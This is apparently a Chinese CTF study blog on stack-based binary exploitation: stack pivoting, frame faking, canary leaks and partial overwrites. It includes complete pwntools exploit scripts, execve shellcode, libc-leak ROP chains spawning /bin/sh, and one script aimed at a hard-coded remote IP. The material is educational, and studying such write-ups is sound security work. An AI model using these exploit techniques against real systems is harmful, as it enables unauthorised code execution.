当前位置:网站首页>PWN ROP
PWN ROP
2022-07-31 04:23:00 【1-1A0】
栈迁移
原因
- 当溢出长度不够时,我们无法写入过长数据,因此想办法控制sp/bp指针到一块地方可以输入更多数据的地方
- 控制程序执行流,也就是可以控制sp指针
pop rsp/esp
思想
程序最后两步(x64为例)
leave =>
move rsp,rbp
pop rbp ;rbp指向存入的地址
ret =>
pop rip ;
这也是我们利用时最常用指令
如果这时候,我们找到 rsp 到一个地方,栈就被劫持到另一个地方
如何获得限定长度shell的汇编
- shell-database,可以找到获得shell及汇编代码
如何写exp
- 格式较为固定(64位举例)
payload = offset*b"A" #覆盖到ebp
payload += p64(fake_addr) #ebp需要跳转虚假位置
payload += p64(leave) #leave指令,esp跳转
使用send,而不是sendline
题目
ctf-wiki X-CTF Quals 2016 - b0verfl0w
- checksec
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
- 反汇编
int __cdecl main(int argc, const char **argv, const char **envp)
{
return vul();
}
int vul()
{
char s[32]; // [esp+18h] [ebp-20h] BYREF
puts("\n======================");
puts("\nWelcome to X-CTF 2016!");
puts("\n======================");
puts("What's your name?");
fflush(stdout);
fgets(s, 50, stdin);
printf("Hello %s.", s);
fflush(stdout);
return 1;
}
- 再看内存
- 我们可以输入50字节,覆盖到ret addr 需要0x24=36长度的字节。留给我们只有14字节
- hint
public hint
hint proc near
; __unwind {
push ebp
mov ebp, esp
sub esp, 24h
retn
- 思路:
在s写入shellcode,因为无nx保护,以及存在RWX权限,写入的shell可以执行,我们就可以自己写
20个字节,包括shell和垃圾数据
覆盖返回地址
再次控制程序执行流到我们写入的shell执行
- 答案给出,修改
from pwn import *
sh = process('./b0verfl0w')
shellcode_x86 = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += b"\x0b\xcd\x80"
sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
jmp_esp = 0x08048504
payload = shellcode_x86 + (0x20 - len(shellcode_x86)) * b'b' + b'bbbb' + p32(jmp_esp) + sub_esp_jmp
sh.sendline(payload)
sh.interactive()
- 0x20写数据。b"bbbb"ebp的覆盖,jmp_esp ret_addr的覆盖
首先 mov esp,ebp
pop ebp ==> ebp=bbbb
ret ==> pop eip ==> jmp_esp。程序就先被劫持到esp
sub_esp_jmp ==> esp=esp-0x28在跳转到esp执行,也就是我们写的shellcode
EkoPartyCTF 2016 fuckzing-exploit-200
- 有点复杂,不会
[Black Watch 入群题]PWN
- checksec
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
//main
int __cdecl main(int argc, const char **argv, const char **envp)
{
vul_function();
puts("GoodBye!");
return 0;
}
//vul
ssize_t vul_function()
{
size_t v0; // eax
size_t v1; // eax
char buf[24]; // [esp+0h] [ebp-18h] BYREF
v0 = strlen(m1);
write(1, m1, v0);
read(0, &s, 0x200u);
v1 = strlen(m2);
write(1, m2, v1);
return read(0, buf, 0x20u);
}
- 思路
s在bss段,可以写0x200个数据
buf在栈上,写0x20个数据,在栈上位置 0x20-0x18-4=4
-00000018 buf db 24 dup(?)
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
在bss布置好shell函数,通过libc,寻找system,sh
主函数劫持到bss段,使用fake_ebp,leave指令
#!/usr/bin/python3
from pwn import *
#context(arch="i386",log_level="debug")
#io = remote("node4.buuoj.cn",28917)
io = process("./spwn")
elf = ELF("./spwn")
libc = ELF("./libc-2.23.so")
write_got = elf.got['write']
write_plt = elf.plt['write']
main_addr = elf.symbols['main']
s_addr = 0x804A300
payload0 =b"A"*0x30+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
io.recvuntil(b"name?")
io.send(payload0)
fake_ebp = s_addr-4+0x30
leave = 0x08048511
payload1= b"A"*0x18 + p32(fake_ebp) +p32(leave)
io.recvuntil(b"say?")
io.sendline(payload1)
#print(io.recv(4))
write_addr = u32(io.recv(4))
print(hex(write_addr))
#print(libc.symbols["write"])
#raw_input("W")
offset = write_addr-libc.symbols["write"]
sys_addr = offset +libc.symbols["system"]
sh_addr = offset +next(libc.search(b"/bin/sh"))
#print(offset,sys_addr,sh_addr)
#raw_input("debug")
payload2=b"b"*0x30+p32(sys_addr)+b"bbbb"+p32(sh_addr)
io.recvuntil(b"name?")
io.send(payload2)
io.recvuntil(b"say?")
io.send(payload1)
io.interactive()
#raw_input("x")
- 超时,无法通,但是思路确实是这样
通过bss段布置函数地址,返回地址设置为mian函数
将函数挟持到bss段,就会执行函数,打印got表地址,泄露libc函数
通过泄露的libc,获得后门函数
再次劫持到bss段,执行shell
frame faking
ciscn_2019_es_2
- checksec
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
- F5
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
puts("Welcome, my friend. What's your name?");
vul();
return 0;
}
int vul()
{
char s[40]; // [esp+0h] [ebp-28h] BYREF
memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Hello, %s\n", s);
read(0, s, 0x30u);
return printf("Hello, %s\n", s);
}
//存在hack函数
int hack()
{
return system("echo flag");
}
00000028 s db ?
-00000027 db ? ; undefined
-00000026 db ? ; undefined
-00000025 db ? ; undefined
-00000024 db ? ; undefined
-00000023 db ? ; undefined
-00000022 db ? ; undefined
-00000021 db ? ; undefined
-00000020 db ? ; undefined
-0000001F db ? ; undefined
-0000001E db ? ; undefined
-0000001D db ? ; undefined
-0000001C db ? ; undefined
-0000001B db ? ; undefined
-0000001A db ? ; undefined
-00000019 db ? ; undefined
-00000018 db ? ; undefined
-00000017 db ? ; undefined
-00000016 db ? ; undefined
-00000015 db ? ; undefined
-00000014 db ? ; undefined
-00000013 db ? ; undefined
-00000012 db ? ; undefined
-00000011 db ? ; undefined
-00000010 db ? ; undefined
-0000000F db ? ; undefined
-0000000E db ? ; undefined
-0000000D db ? ; undefined
-0000000C db ? ; undefined
-0000000B db ? ; undefined
-0000000A db ? ; undefined
-00000009 db ? ; undefined
-00000008 db ? ; undefined
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined
-00000004 db ? ; undefined
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
- 无法获得bss段,但是程序中存在system函数,没有/bin/sh.
思路:
在栈区构造一段执行system('/bin/sh')程序,让返回地址回到栈,但是没有RWX权限,不使用jmp
但是我们得泄露ebp地址,便于利用
如何泄露ebp地址,printf()函数遇到\x00停止,而mmset就是清空0x20个数据为0
我们只需要填充数据足够长知道ebp边缘,printf()就会将数据顺带着打印出来
#!/usr/bin/python3
from pwn import *
context(arch="i386",log_level="debug")
io = process("./ciscn")
elf = ELF("./ciscn")
system_addr =elf.plt['system']
payload = b"A"*0x27+b"b"
io.recvuntil(B"name?")
io.send(payload)
io.recvuntil(b"b")
ebp = u32(io.recv(4))
print(hex(ebp))
raw_input("AAAAA")
fake_ebp = ebp-0x38
leave = 0x8048562
payload1=b"aaaa"+p32(system_addr)+b"bbbb"+p32(ebp-0x28)+b"/bin/sh\x00"
payload1 = payload1.ljust(0x28,b"a")+p32(fake_ebp)+p32(leave)
io.send(payload1)
#gdb.attach(io)
io.interactive()
- ebp偏移的计算:
0x28是在此函数栈帧上的数据长度。
因为我们的ret返回地址是main函数,所以算偏移是获得主函数ebp
- ebp
00:0000│ ecx esp 0xffffd070 ◂— 'aaa\n'
01:0004│ 0xffffd074 ◂— 0x0
... ↓ 6 skipped
08:0020│ 0xffffd090 —▸ 0x80486d8 ◂— 0x636c6557 /* "Welcome, my friend. What's your name?" */
09:0024│ 0xffffd094 —▸ 0xffffd154 —▸ 0xffffd31b ◂— '/home/cpwn/stackprivot/ciscn/ciscn'
0a:0028│ ebp 0xffffd098 —▸ 0xffffd0a8 ◂— 0x0
ebp指向 0xffffd0a8 而该地址所存内容,为上层main函数的old ebp 说明相差0x38
old ebp 与 缓冲区变量 相距 0x38,这说明只要使用 printf 泄露出攻击时栈上ebp所存地址,
将该地址减去0x38即为 leave,ret后mian函数返回地址,
来自参考博客一张图(侵权删)
- 参考博客:地址
2018 安恒杯 over
checksec
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
- F5
__int64 __fastcall main(int a1, char **a2, char **a3)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
while ( input() )
;
return 0LL;
}
int input()
{
char buf[80]; // [rsp+0h] [rbp-50h] BYREF
memset(buf, 0, sizeof(buf));
putchar(62); //62号字符 >
read(0, buf, 0x60uLL);
return puts(buf);
}
-0000000000000050 buf db ?
.....
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
- 0x60-0x50=0x10,溢出长度过短。第一次泄露rbp,再次执行shell.但是x64需要寄存器传参。并且程序中没有system和/bin/sh
00:0000│ rsi rsp 0x7fffffffde50 ◂— 0xa6c6f6f63 /* 'cool\n' */
01:0008│ 0x7fffffffde58 ◂— 0x0
... ↓ 8 skipped
0a:0050│ rbp 0x7fffffffdea0 —▸ 0x7fffffffdec0 ◂— 0x0
首先泄露rbp地址,算偏移
获得libc,puts函数
再次获得system("/bin/sh")
#!/usr/bin/python3
from pwn import *
from LibcSearcher import *
io = process("./over")
elf = ELF("./over")
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi = 0x400793
payload1=b"A"*(0x50-1)+b"b"
main_addr = 0x4006C0
input_addr = 0x400676
leave = 0x400721
io.recvuntil(b">")
io.send(payload1)
io.recvuntil(b"b")
rbp_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
#print(hex(rbp_addr))
#raw_input("debug")
fake_rbp = rbp_addr-0x70
io.recvuntil(b">")
payload2 = b"A"*7+b"b"+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(input_addr)
payload2 += payload2.ljust(0x50-40,b"b")+p64(fake_rbp)+p64(leave)
io.send(payload2)
#print(io.recv())
#raw_input("debug")
io.recvuntil(b"b")
#print(io.recv())
#raw_input("XXXXXXX")
puts_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b'\x00'))
print(hex(puts_addr))
libc = LibcSearcher("puts",puts_addr)
offset = puts_addr - libc.dump("puts")
ex_addr = offset+libc.dump("execve")
sh_addr = offset+libc.dump("str_bin_sh")
pop_rdx_rsi=offset+0xf5279
payload3 = b"A"*8+p64(pop_rdi)+p64(sh_addr)+p64(pop_rdx_rsi)+p64(0)+p64(0)+p64(ex_addr)
payload3 += payload2.ljust(0x80-7*8,b"b")+p64(fake_rbp-0x30)+p64(leave)
io.recvuntil(b">")
io.send(payload3)
io.interactive()
- 泄露sp指针地址,构造一个虚假的栈帧
- 本题没有libc文件,答案给出的pop_rdx_rsi在本题是根据libc文件找出,而不是程序。我直接从答案拿过来用的。
- LibcSearcher找不到库,知道解决问题方法就行
- 看了半天,后来发现recv()和recvuntil()的错误(╬▔皿▔)╯,调半天,并且recv()的东西最好打印出来看看。
stack smach
- 题目地址
- 题目太老了,我找不到
在程序加了 canary 保护之后,如果我们读取的 buffer 覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息。但是这里的利用就是利用其报错信息
这是因为在程序启动 canary 保护之后,如果发现 canary 被修改的话,
程序就会执行 __stack_chk_fail 函数来打印 argv[0] 指针所指向的字符串,
正常情况下,这个指针指向了程序名。
我们利用栈溢出覆盖 argv[0] 为我们想要输出的字符串的地址
限制条件
libc2.24及以下的___stack_chk_fail函数检查到canary被修改
这也可以针对IO_FILE
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
- 栈溢出覆盖到程序名为我们flag的地址就可以读取文件内容
- 由于环境比较难找,我从网上找一段理解
//test.c
#include<stdio.h>
int main(){
char a[10];
scanf("%s",a);
printf("%s",a);
return 0;
}
//执行后
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
*** stack smashing detected ***: terminated
./test 0.00s user 0.00s system 0% cpu 4.360 total
//gdb调试
00:0000│ rsp 0x7fffffffdec0 ◂— 0x0
01:0008│ 0x7fffffffdec8 ◂— 0x61615555555550a0
02:0010│ 0x7fffffffded0 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
... ↓ 6 skipped
09:0048│ 0x7fffffffdf08 ◂— 0x555555550061 /* 'a' */
0a:0050│ 0x7fffffffdf10 —▸ 0x5555555551f0 (__libc_csu_init) ◂— 0x8d4c5741fa1e0ff3
0b:0058│ 0x7fffffffdf18 ◂— 0xf639006826ef8fde
0c:0060│ 0x7fffffffdf20 —▸ 0x5555555550a0 (_start) ◂— 0x8949ed31fa1e0ff3
0d:0068│ 0x7fffffffdf28 —▸ 0x7fffffffdfd0 ◂— 0x1
0e:0070│ 0x7fffffffdf30 ◂— 0x0
0f:0078│ 0x7fffffffdf38 ◂— 0x0
10:0080│ 0x7fffffffdf40 ◂— 0x9c6ff979b0f8fde
11:0088│ 0x7fffffffdf48 ◂— 0x9c6efd526818fde
12:0090│ 0x7fffffffdf50 ◂— 0x0
... ↓ 2 skipped
15:00a8│ 0x7fffffffdf68 ◂— 0x1
16:00b0│ 0x7fffffffdf70 —▸ 0x7fffffffdfd8 —▸ 0x7fffffffe33c ◂— '/home/cpwn/stackprivot/test'
17:00b8│ 0x7fffffffdf78 —▸ 0x7fffffffdfe8 —▸ 0x7fffffffe358 ◂— 'GJS_DEBUG_TOPICS=JS ERROR;JS LOG'
18:00c0│ 0x7fffffffdf80 —▸ 0x7ffff7ffe190 —▸ 0x555555554000 ◂— 0x10102464c457f
19:00c8│ 0x7fffffffdf88 ◂— 0x0
1a:00d0│ 0x7fffffffdf90 ◂— 0x0
1b:00d8│ 0x7fffffffdf98 —▸ 0x5555555550a0 (_start) ◂— 0x8949ed31fa1e0ff3
1c:00e0│ 0x7fffffffdfa0 —▸ 0x7fffffffdfd0 ◂— 0x1
1d:00e8│ 0x7fffffffdfa8 ◂— 0x0
1e:00f0│ 0x7fffffffdfb0 ◂— 0x0
1f:00f8│ 0x7fffffffdfb8 —▸ 0x5555555550ce (_start+46) ◂— 0x2f393d8d4890f4
20:0100│ 0x7fffffffdfc0 —▸ 0x7fffffffdfc8 ◂— 0x1c
21:0108│ 0x7fffffffdfc8 ◂— 0x1c
22:0110│ r13 0x7fffffffdfd0 ◂— 0x1
23:0118│ 0x7fffffffdfd8 —▸ 0x7fffffffe33c ◂— '/home/cpwn/stackprivot/test'
24:0120│ 0x7fffffffdfe0 ◂— 0x0
- 如果在libc-2.24下
*** stack smashing detected ***: terminated => ***会表示程序名
gdb调试中,可以看到程序名地址,也就可以算出偏移,覆盖为flag地址,使其报错后显示出flag内容
2015 32C3 CTF readme
栈上的partial overwrite
我们知道, 在开启了随机化(ASLR,PIE)后, 无论高位的地址如何变化,
低 12 位的页内偏移始终是固定的, 也就是说如果我们能更改低位的偏移,
就可以在一定程度上控制程序的执行流, 绕过 PIE 保护。
- 核心在于改写地址
2018 安恒杯 babypie
下载的不是可执行程序,data。只能找文章看
checksec
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
- 金丝雀保护
- F5
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
vul();
return 0LL;
}
__int64 vul()
{
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
memset(buf, 0, 32);
puts("Input your Name:");
read(0, buf, 0x30uLL); // overflow
printf("Hello %s:\n", buf);
read(0, buf, 0x60uLL); // overflow
return 0LL;
}
//自带shell
int getshell()
{
return system("/bin/sh");
}
.text:0000000000000A3E getshell proc near
.text:0000000000000A3E ; __unwind {
.text:0000000000000A3E push rbp
.text:0000000000000A3F mov rbp, rsp
.text:0000000000000A42 lea rdi, command ; "/bin/sh"
.text:0000000000000A49 call _system
.text:0000000000000A4E nop
.text:0000000000000A4F pop rbp
.text:0000000000000A50 retn
.text:0000000000000A50 ; } // starts at A3E
.text:0000000000000A50 getshell endp
- 存在栈溢出。read函数不会在最后加\x00。那么就覆盖在canary附近,printf()打印出canary结果。最后覆盖栈到shell就行
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
# context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]
while True:
try:
io = process("./babypie", timeout = 1)
# gdb.attach(io)
io.sendafter(":\n", 'a' * (0x30 - 0x8 + 1))
io.recvuntil('a' * (0x30 - 0x8 + 1))
canary = '\0' + io.recvn(7)
success(canary.encode('hex'))
# gdb.attach(io)
io.sendafter(":\n", 'a' * (0x30 - 0x8) + canary + 'bbbbbbbb' + '\x3E\x0A')
io.interactive()
except Exception as e:
io.close()
print e
- 这题泄露canary
- 针对PIE保护,只需要覆盖两位。返回地址与 get shell 函数的地址只有低位的 16 bit 不同
- 学习对抗栈保护
2018 XNUCA-gets
- 同一个地址题目
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
- F5
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__int64 v4; // [rsp+0h] [rbp-18h] BYREF
gets(&v4, a2, a3);
return 0LL;
}
栈溢出,函数也少
无法打印地址,泄露libc。但是利用的核心在于gadget使用,曲线救国
寻找返回地址
寄存器
RAX 0x400420 ◂— 0x8948c03118ec8348
RBX 0x400540 ◂— 0x41ff894156415741
RCX 0x400540 ◂— 0x41ff894156415741
RDX 0x7fffffffdfd0 —▸ 0x7fffffffe343 ◂— 'GJS_DEBUG_TOPICS=JS ERROR;JS LOG'
RDI 0x2
RSI 0x7fffffffdfb8 —▸ 0x7fffffffe31d ◂— '/home/cpwn/stackprivot/gets/gets'
R8 0x0
R9 0x7ffff7fe0d60 (_dl_fini) ◂— endbr64
R10 0x7ffff7ffcf68 (_DYNAMIC+256) ◂— 0x6ffffff0
R11 0x202
R12 0x400440 ◂— 0x89485ed18949ed31
R13 0x7fffffffdfb0 ◂— 0x2
R14 0x0
R15 0x0
RBP 0x0
RSP 0x7fffffffdec8 —▸ 0x7ffff7de8083 (__libc_start_main+243) ◂— mov edi, eax
RIP 0x400420 ◂— 0x8948c03118ec8348
- 两个返回地址,rsp
(__libc_start_main+243)
,rdxGJS_DEBUG_TOPICS=JS ERROR;JS LOG)
两个地址
一个比较自然的想法就是我们通过 partial overwrite 来修改这两个地址到某个获取 shell 的位置
并且利用 Onegadget 工具了
而我们覆盖字节的时候必须覆盖整数倍个数,即至少会覆盖 3 个字节,而我们再来看看__libc_start_main+240 的地址 0x7ffff7a2d830,如果覆盖 3 个字节,那么就是 0x7ffff700xxxx,
已经小于了 libc 的基地址了,前面也没有刻意执行的代码位置
而 ld 的基地址呢?如果我们覆盖了栈上_dl_init+139,即为0x7ffff700xxxx。
而观察上述的内存布局,我们可以发现libc位于 ld 的低地址方向,那么在随机化的时候,很有可能 libc 的第 3 个字节是为\x00 的。
因此,我们有足够的理由选择覆盖栈上存储的_dl_init+139
- 答案脚本
from pwn import *
context.terminal = ['tmux', 'split', '-h']
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
context.log_level = 'debug'
elfpath = './gets'
context.binary = elfpath
elf = ELF(elfpath)
bits = elf.bits
def exp(ip, port):
for i in range(0x1000):
if args['REMOTE']:
p = remote(ip, port)
else:
p = process(elfpath, timeout=2)
# gdb.attach(p)
try:
payload = 0x18 * 'a' + p64(0x40059B)
for _ in range(2):
payload += 'a' * 8 * 5 + p64(0x40059B)
payload += 'a' * 8 * 5 + '\x16\02'
p.sendline(payload)
p.sendline('ls')
data = p.recv()
print data
p.interactive()
p.close()
except Exception:
p.close()
continue
if __name__ == "__main__":
exp('106.75.4.189', 35273)
- 根据报错信息获得libc库,再通过库获得gadget
- 题目给出的0x40059B地址
- 答案给出的gadget
* gets one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
覆盖了18个长度,应该是dl_init地址
搞不懂这个数据怎么来的???
00:0000│ rax r8 rsp 0x7fffffffdec0 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaa'
... ↓ 2 skipped
03:0018│ 0x7fffffffded8 —▸ 0x7ffff7de8000 (__libc_start_main+112) ◂— sbb al, 0
04:0020│ 0x7fffffffdee0 ◂— 0x50 /* 'P' */
05:0028│ 0x7fffffffdee8 —▸ 0x7fffffffdfc8 —▸ 0x7fffffffe322 ◂— '/home/cpwn/stackprivot/gets/gets'
06:0030│ 0x7fffffffdef0 ◂— 0x1f7fac7a0
07:0038│ 0x7fffffffdef8 —▸ 0x400420 ◂— 0x8948c03118ec8348
08:0040│ 0x7fffffffdf00 —▸ 0x400540 ◂— 0x41ff894156415741
09:0048│ 0x7fffffffdf08 ◂— 0x78e422e9314acaaf
0a:0050│ 0x7fffffffdf10 —▸ 0x400440 ◂— 0x89485ed18949ed31
0b:0058│ 0x7fffffffdf18 —▸ 0x7fffffffdfc0 ◂— 0x1
0c:0060│ 0x7fffffffdf20 ◂— 0x0
0d:0068│ 0x7fffffffdf28 ◂— 0x0
0e:0070│ 0x7fffffffdf30 ◂— 0x871bdd168c8acaaf
0f:0078│ 0x7fffffffdf38 ◂— 0x871bcd543124caaf
10:0080│ 0x7fffffffdf40 ◂— 0x0
... ↓ 2 skipped
13:0098│ 0x7fffffffdf58 ◂— 0x1
14:00a0│ 0x7fffffffdf60 —▸ 0x7fffffffdfc8 —▸ 0x7fffffffe322 ◂— '/home/cpwn/stackprivot/gets/gets'
15:00a8│ 0x7fffffffdf68 —▸ 0x7fffffffdfd8 —▸ 0x7fffffffe343 ◂— 'GJS_DEBUG_TOPICS=JS ERROR;JS LOG'
- 覆盖到
GJS_DEBUG...
在进行覆盖两个字节
总结
劫持地址时,因为会执行pop命令,ebp为我们劫持地址函数地址减去 0x4(x86)或0x8(x64)。
leave,ret的地址,在汇编中寻找(一般程序中都有)
针对x64,我们可能需要结合ret2csu获得参数寄存器
有的题目可以输入多次,找到那个可以溢出溢出一点的段。控制执行流
有的题目输入一次,写shell,调用shell一步进行
进阶一点需要控制ip指针
对于返回地址获取:bss段地址时直接获得,但是如果是栈上ebp,动态调试获得在main上函数地址
获得偏移。bss段可能需要减去4或8以便为执行pop指令获得正确地址
在栈上,可以先写4或8字节垃圾数据获得正确地址。
tips: 栈迁移 syscall用法**(SROP)**(59号execve),上网自查。。。
边栏推荐
- Daily practice of LeetCode - palindrome structure of OR36 linked list
- MySQL 8.0.30 GA
- Redis 使用LIST做最新评论缓存
- $parent/$children and ref
- IDEA common shortcut keys and plug-ins
- 组件传值 provide/inject
- 数字经济时代的开源数据库创新 | 2022开放原子全球开源峰会数据库分论坛圆满召开
- 【SemiDrive源码分析】【MailBox核间通信】44 - 基于Mailbox IPCC RPC 实现核间通信(RTOS侧 IPCC_RPC Server 消息接收及回复 原理分析篇)
- Bubble sort, selection sort, insertion sort, binary search directly
- "DeepJIT: An End-To-End Deep Learning Framework for Just-In-Time Defect Prediction" paper notes
猜你喜欢
MySQL数据库增删改查(基础操作命令详解)
BUG destroyer!!Practical debugging skills are super comprehensive
高等数学---第九章二重积分
binom二项分布,
Know the showTimePicker method of the basic components of Flutter
微信小程序使用云函数更新和添加云数据库嵌套数组元素
Exsl file preview, word file preview web page method
(4) Recursion, variable parameters, access modifiers, understanding main method, code block
MySQL based operations
已解决(最新版selenium框架元素定位报错)NameError: name ‘By‘ is not defined
随机推荐
Musk talks to the "virtual version" of Musk, how far is the brain-computer interaction technology from us
Learning DAVID Database (1)
binom二项分布,
【AUTOSAR-RTE】-4-Port and Interface and Data Type
Win10 CUDA CUDNN 安装配置(torch paddlepaddle)
mysql数据库安装(详细)
C language from entry to such as soil, the data store
强化学习:从入门到入坑再到拉屎
open failed: EACCES (Permission denied)
LocalDate加减操作及比较大小
MySQL数据库备份
$parent/$children 与 ref
qlib自动化quant
【论文阅读】Mastering the game of Go with deep neural networks and tree search
errno error code and meaning (Chinese)
three.js 制作3D相册
qlib架构
Port inspection steps - 7680 port analysis - Dosvc service
[C language] General method of base conversion
Redis counts new and retained users